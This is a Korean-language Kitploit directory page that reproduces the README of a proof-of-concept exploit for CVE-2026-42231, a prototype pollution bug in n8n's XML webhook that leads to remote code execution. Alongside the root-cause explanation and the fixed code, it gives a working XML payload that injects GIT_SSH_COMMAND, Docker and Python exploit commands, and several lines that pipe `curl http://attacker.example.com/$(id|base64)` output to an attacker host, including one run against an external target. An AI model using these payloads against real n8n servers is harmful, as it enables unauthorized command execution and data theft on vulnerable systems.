Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42231 — # CVE-2026-42231 PoC 익스플로잇 n8n XML 웹훅의 치명적인 프로토타입 오염 취약점으로 원격 코드 실행으로 이어지는 CVE-2026-42231에 대한 개념 증명 익스플로잇입니다. Docker 랩, Python PoC, Node.js 검증기를 포함합니다. | Kitploit
도구/GitHubGitHub/rudsarkar/cve-2026-42231
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

# CVE-2026-42231 PoC 익스플로잇 n8n XML 웹훅의 치명적인 프로토타입 오염 취약점으로 원격 코드 실행으로 이어지는 CVE-2026-42231에 대한 개념 증명 익스플로잇입니다. Docker 랩, Python PoC, Node.js 검증기를 포함합니다.

저장소 보기
13개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GHSA-q5f4-99jv-pgg5 — n8n XML 웹훅 프로토타입 오염 → RCE

CVE: CVE-2026-42231
심각도: 치명적 (CVSS 10.0)
영향 버전: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
수정 버전: n8n 1.123.32 / 2.17.4 / 2.18.1


취약점 요약

packages/cli/src/middlewares/body-parser.ts는 tagNameProcessors 또는 attrNameProcessors 없이 모듈 수준의 싱글턴 xml2js Parser를 생성합니다. 이로 인해 공격자는 <__proto__> 요소를 포함한 XML 웹훅 본문을 전송할 수 있습니다.

xml2js 0.6.2는 데이터 설명자와 함께 Object.defineProperty를 사용하여 파싱된 객체에 요소 키를 설정합니다. '__proto__' in obj가 항상 이므로 는 값을 배열로 감싸고 이를 으로 저장합니다. 이는 일반적으로 프로토타입 체인을 안전하게 업데이트하는 접근자를 우회합니다.

true
assignOrPush()
자체 열거 가능한 데이터 속성
[[Set]]

자체 __proto__ 속성은 JSON.stringify(n8n이 실행 데이터를 SQLite/PostgreSQL에 저장할 때 실행됨)를 통과하며, 재로드 시 JSON.parse 이후의 Object.assign(target, reloadedBody)는 target의 프로토타입을 공격자가 제어하는 객체로 리라우팅합니다.

SSH 작업을 수행하는 Git 노드도 포함된 워크플로우에서는 오염된 프로토타입이 simple-git의 createInstanceConfig에 spawnOptions / GIT_SSH_COMMAND 값을 노출하여 OS 수준의 명령 실행을 가능하게 합니다.


근본 원인

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (취약 — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // 태그를 소문자로 변환 — 그러나 __proto__는 차단하지 않음
    explicitArray: false,
    // ← tagNameProcessors 없음
    // ← attrNameProcessors 없음
});

수정 (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

공격 체인

root@kitploit:~
1. 공격자가 공개 Webhook 트리거에 XML POST를 전송:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. xml2js 본문 파서는 req.body.root를 생성하며 여기서 '__proto__'는
   자체 열거 가능한 데이터 속성입니다:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. n8n의 deepCopy()는 for...in + hasOwnProp을 통해 자체 키를 반복합니다.
   clone['__proto__'] = deepCopy(attackerArray) 할당은
   [[Set]] 접근자를 통해 clone의 프로토타입을 조용히 대체합니다.

4. n8n은 실행 데이터를 DB에 직렬화합니다:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   __proto__ 키는 자체 속성이고 열거 가능하므로 포함됩니다.
   SQLite의 execution_data 테이블에서 확인됨.

5. 재로드 시 JSON.parse는 '__proto__'를 자체 데이터 속성으로 재생성합니다
   (일반 객체, 배열 래핑 없음).
      Object.assign(gitOptions, reloadedBody)
   gitOptions의 프로토타입을 공격자가 제어하는 객체로 리라우팅합니다.

6. Git 노드가 simpleGit(gitOptions)을 호출할 때:
      createInstanceConfig(gitOptions)
   프로토타입 체인을 통해 config.spawnOptions를 읽음 → truthy →
   spawnOptionsPlugin이 등록됩니다.
   env 객체에 GIT_SSH_COMMAND가 있으면 git은 다음 SSH 작업에서
   공격자의 명령을 실행합니다.

normalizeTags 참고 사항

normalizeTags: true는 모든 XML 태그 이름을 소문자로 변환하므로 <GIT_SSH_COMMAND>와 같은 하위 요소는 파싱된 객체에서 git_ssh_command가 됩니다. 환경 변수 이름의 대소문자를 유지하려면 XML 속성을 사용하세요(속성 이름은 normalizeTags에 의해 정규화되지 않음):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

사전 요구 사항

  1. 활성 워크플로우에 공개 Webhook 트리거(인증 = 없음, Content-Type = XML)가 존재해야 합니다.
  2. 전체 RCE 경로를 위해서는 워크플로우에 SSH 인증 작업(SSH URL을 통한 clone / push)을 수행하는 Git 노드도 포함되어야 합니다.
  3. n8n 버전 < 1.123.32.

실습 환경 구성

요구 사항

  • Docker ≥ 24 (Compose v2 포함)
  • Python 3.9+ (Docker 없이 PoC를 단독으로 사용하는 경우)
  • 로컬호스트의 포트 5678 사용 가능

원커맨드 설정

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

이 명령은 n8nio/n8n:1.123.22(마지막 영향 버전)를 가져오고, 공격자 이미지를 빌드하며, 취약한 대상(http://localhost:5678)을 시작하고, 웹훅 워크플로우를 자동으로 생성 및 활성화한 후 웹훅 URL을 .webhook_state에 저장합니다.


종단 간 익스플로잇 워크스루

1. 설정

root@kitploit:~
./exploit.sh setup

예상 출력(일부 생략):

root@kitploit:~
[*] 취약한 n8n 이미지 가져오는 중 (1.123.22) ...
[*] 공격자 이미지 빌드 중 ...
[*] 취약한 n8n 대상 시작 중 ...
[*] n8n이 정상 상태가 될 때까지 대기 중 ...
[*] 웹훅 워크플로우 생성 중 (Webhook → Code 노드) ...
[+] 실습 환경 준비 완료.

    실행:  ./exploit.sh demo        # 오염 프리미티브 검증
          ./exploit.sh exploit     # 세 가지 RCE 페이로드 전달

2. 오염 프리미티브 검증 (데모 모드)

root@kitploit:~
./exploit.sh demo

PoC는 검증 페이로드를 전송하고 n8n 워크플로우에서 에코된 파싱된 본문을 표시합니다. 취약한 인스턴스는 다음을 반환합니다:

root@kitploit:~
[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. RCE 의도 페이로드 전달

root@kitploit:~
./exploit.sh exploit
# 또는 사용자 지정 명령 사용:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

세 가지 보완 페이로드가 전달됩니다:

페이로드기법
A<__proto__> 태그 — XML 속성으로 GIT_SSH_COMMAND
B<constructor><prototype> 체인
Cenv 속성이 있는 중첩 <__proto__>

4. 결과 관찰 (워크플로우에 Git 노드 포함 시)

  • n8n 실행 로그에서 git 명령 오류를 찾으세요. RCE가 발생했다면 주입된 GIT_SSH_COMMAND의 출력이 포함됩니다.
  • Code 노드가 있는 데모 모드에서는 워크플로우 응답 본문에 "step4_objectAssignPolluted": true가 포함되어 체인을 확인합니다.

단독 사용 (Docker 없이)

root@kitploit:~
pip install -r requirements.txt

# 검증만 — Git 노드 불필요:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --demo

# 전체 익스플로잇 — Webhook + Git/SSH 노드 워크플로우 필요:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <webhook-path> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

웹훅 URL 형식 (n8n v1.123.x)

일부 배포에서 n8n은 웹훅을 /webhook/<workflowId>/webhook/<path>로 등록합니다. 짧은 형식 /webhook/<path>가 404를 반환하면 워크플로우 ID 접두사를 --target으로 전달하세요:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <path> \
    --demo

로컬 검증 (Node.js, 라이브 인스턴스 불필요)

n8n이 사용하는 정확한 xml2js 파서 구성을 재현하고 네 가지 체인 단계를 모두 진행합니다:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

취약한 구성에서의 예상 출력:

root@kitploit:~
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  If target is used as simpleGit config AND the prototype exposes
         e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ]  simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══

수동 Docker 명령

root@kitploit:~
# 공격자 이미지 빌드
docker build -t n8n-proto-pollution-poc .

# 데모 모드 (공유 실습 네트워크에 연결)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# 전체 익스플로잇
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# 외부 대상 공격 (네트워크 플래그 불필요)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <path> \
    --demo

정리

root@kitploit:~
./exploit.sh clean

컨테이너를 중지하고 볼륨(SQLite 데이터베이스 포함)을 제거합니다.


파일

파일설명
poc_GHSA-q5f4-99jv-pgg5.py독립형 Python HTTP PoC — 세 가지 XML 페이로드 변형, --demo 및 --cmd 모드
verify_GHSA-q5f4-99jv-pgg5.jsNode.js 로컬 체인 검증기 — 라이브 인스턴스 없이 4가지 익스플로잇 단계를 모두 진행
Dockerfile공격자 컨테이너 이미지
docker-compose.yml전체 실습 환경: 취약한 n8n + 공격자 컨테이너
exploit.sh설정, 데모, 익스플로잇, 정리를 위한 헬퍼 스크립트
requirements.txtPython 종속성

참고 자료

  • GHSA-q5f4-99jv-pgg5
  • n8n 릴리스 1.123.32 변경 로그
  • xml2js assignOrPush — Object.defineProperty 데이터 설명자
  • Object.defineProperty를 통한 프로토타입 오염
도구 다운로드